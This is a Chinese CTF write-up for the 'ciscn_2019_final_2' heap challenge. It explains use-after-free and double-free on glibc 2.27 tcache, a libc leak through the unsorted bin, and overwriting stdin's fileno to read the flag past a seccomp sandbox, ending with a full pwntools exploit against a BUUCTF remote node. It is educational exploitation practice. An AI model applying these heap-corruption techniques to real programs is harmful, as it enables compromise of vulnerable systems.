Ciscn_2019_Final
感觉是一道很好的堆题,使用了很多技巧以及做题思路,包括了uaf,_IO_2_1_stdin,double_free,还有 _IO_2_1_stdin_fileno,这些技巧。
IDA分析:
main函数:
init函数:
沙箱:(少截取一点为无所谓)
allocate函数:
这里面每次无论add了int还是short int 都会把bool修改成1。
delete函数:
? del有一段特殊判定,就是bool的判定,因为bool的存在,导致了没有办法连续释放int或者short int。但是,却可以add1之后再free2,也就是说如果在free2之前先add1就嫩做到连续free了。
还有一点,就是free的对象是针对于int_pt和short_pt的,而且不会清除这两个参数,所以说,就能做到double_free了。
show函数:
? 这里同样有漏洞,也就是printf的时候能直接把free掉的heap打印出来,所以泄露就是可以用show
bye_bye:
思路分析:
? 保护全开,有点痛苦
? 首先来分析init()函数,一般来说,init函数是没有什么重要的东西的,但是在这个函数中,有一个奇怪的初始化,先打开本地的flag文件,如果没有,就报错退出。然后就是这个DUP2函数,dup函数就是把flag的文件描述符修改为了666,还有一个新的知识点,__fileno,是用来规定fd指向的文件流的,也就是说,如果把__fileno的数据值改为了666,就可以在读入的时候把flag输入进去,然后就可以输出flag了。
? 为什么要用这种方式来得到flag呢?主要是因为SANDBOX的启用,sandbox就是沙箱,它规定了那些函数是白名单,那些函数是黑名单,一旦调用了黑名单之中的函数,就会退出。使用seccomp-tools可以查看
? 可以看到,execve被直接禁用,所以没有办法得到/bin/sh,所以没法使用system("/bin/sh"),所以只能使用修改__io_才能得到flag。所以这道题的最终目的就已经知道了,就是修改fileno为666
? 首先,对于2.27的程序来说,一般的泄露有两种,一种是在7个tcahe_bin之后进入应该进入的chunk,按道理使用的是unsorted_bin,这样就能泄露出main_arena的位置以及libc的基地址,另一种就是使用large_bin(我并不会)。所以只能尝试unsorted_bin来搞。但是有一个问题,在提供的alloc中,malloc的时候只会给0x20和0x30的大小,如何修改一下这些东西,只能靠漏洞去修改,就想到了uaf。用了uaf之后就可以show(),然后得到自己的地址,找到自己的地址之后计算偏移,就可以找到希望修改的地址的值。
add_1(0x10)
free_1()
add_2(0x10)
add_2(0x10)
add_2(0x10)
add_2(0x10)
free_2()
add_1(0x10)
free_2()
show(2)
p.recvuntil('your short type inode number :')
addr = int(p.recvuntil('\n', drop=True))
add_2(addr-0xa0)
add_2(addr-0xa0)
add_2(0x91)
然后使用循环以及doule_free来让这个0x90的chunk进入unsortedbin,并且使用show来找到libc的基地址,以及__io_2_1_stdin_fileno___
free_1()
for i in range(7):
add_2(0x10)
free_1()
show_1()
p.recvuntil('your int type inode number :')
main_arena = int(p.recvuntil('\n', drop=True))
malloc_hook = main_arena - 96-0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
addr__IO_2_1_stdin__fileno = libc_base + libc.sym['_IO_2_1_stdin_'] + 0x70
? 上一步结束之后,现在还有一个double_free的状态,然后把得到的fileno输入进去,而且改出来一个0x30大小的chunk
add_1(addr__IO_2_1_stdin__fileno)
add_1(0x31)
? 接下来再使用一次double_free,找到现在的short的fd的位置,并且泄露出来,经过计算,就能求得上面写了fileno的地址。利用double_free的操作,就能修改为666了
free_1()
add_2(0x20)
free_1()
show_1()
p.recvuntil('your int type inode number :')
unknow = int(p.recvuntil('\n', drop=True)) -0x30
add_1(unknow)
add_1(unknow)
add_1(111)
add_1(666)
思路总结:
- 修改chunk基本大小,得到unsorted_bin大小的chunk
- 通过show泄露基地址,得到个希望的值
- 使用double_free以及其他方式修改stdin的fileno为666,就能从flag中读取文件
- 触发bye-bye得到flag
? 最后上完整exp:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
local_file = './ciscn_final_2'
libc = ELF('/home/yjc/Desktop/Libc/U18/libc-2.27-64.so')
select = 1
if select == 0:
p = process(local_file)
else:
p = remote('node4.buuoj.cn',25545)
elf = ELF(local_file)
def add_1(buf):
p.recvuntil('> ')
p.sendline(str(1))
p.recvuntil(">")
p.sendline(str(1))
p.recvuntil('your inode number:')
p.sendline(str(buf))
def free_1():
p.recvuntil('> ')
p.sendline(str(2))
p.recvuntil(">")
p.sendline(str(1))
def add_2(buf):
p.recvuntil('> ')
p.sendline(str(1))
p.recvuntil(">")
p.sendline(str(2))
p.recvuntil('your inode number:')
p.sendline(str(buf))
def free_2():
p.recvuntil('> ')
p.sendline(str(2))
p.recvuntil(">")
p.sendline(str(2))
def show_1():
p.recvuntil('> ')
p.sendline(str(3))
p.recvuntil(">")
p.sendline(str(1))
def show_2():
p.recvuntil('> ')
p.sendline(str(3))
p.recvuntil(">")
p.sendline(str(2))
def bye(buf):
p.recvuntil('> ')
p.sendline(str(4))
p.recvuntil('what do you want to say at last?\n')
p.sendline(buf)
add_1(0x10)
free_1()
add_2(0x10)
add_2(0x10)
add_2(0x10)
add_2(0x10)
free_2()
add_1(0x10)
free_2()
show_2()
p.recvuntil('your short type inode number :')
addr = int(p.recvuntil('\n', drop=True))
add_2(addr-0xa0)
add_2(addr-0xa0)
add_2(0x91)
free_1()
for i in range(7):
add_2(0x10)
free_1()
show_1()
p.recvuntil('your int type inode number :')
main_arena = int(p.recvuntil('\n', drop=True))
malloc_hook = main_arena - 96-0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
addr__IO_2_1_stdin__fileno = libc_base + libc.sym['_IO_2_1_stdin_'] + 0x70
add_1(addr__IO_2_1_stdin__fileno)
add_1(0x31)
free_1()
add_2(0x20)
free_1()
show_1()
p.recvuntil('your int type inode number :')
unknow = int(p.recvuntil('\n', drop=True)) -0x30
add_1(unknow)
add_1(unknow)
add_1(111)
add_1(666)
p.sendlineafter('which command?\n> ', '4')
p.recvuntil('your message :')
print('main_arena : ' + hex(main_arena))
print('malloc_hook : ' + hex(malloc_hook))
print('libc_base : ' + hex(libc_base))
print('addr__IO_2_1_stdin__fileno : ' + hex(addr__IO_2_1_stdin__fileno))
p.interactive()
参考文章:[https://blog.csdn.net/mcmuyanga/article/details/114632716,https://www.cnblogs.com/luoleqi/p/12409143.html],很感谢两位大佬的思路
?
|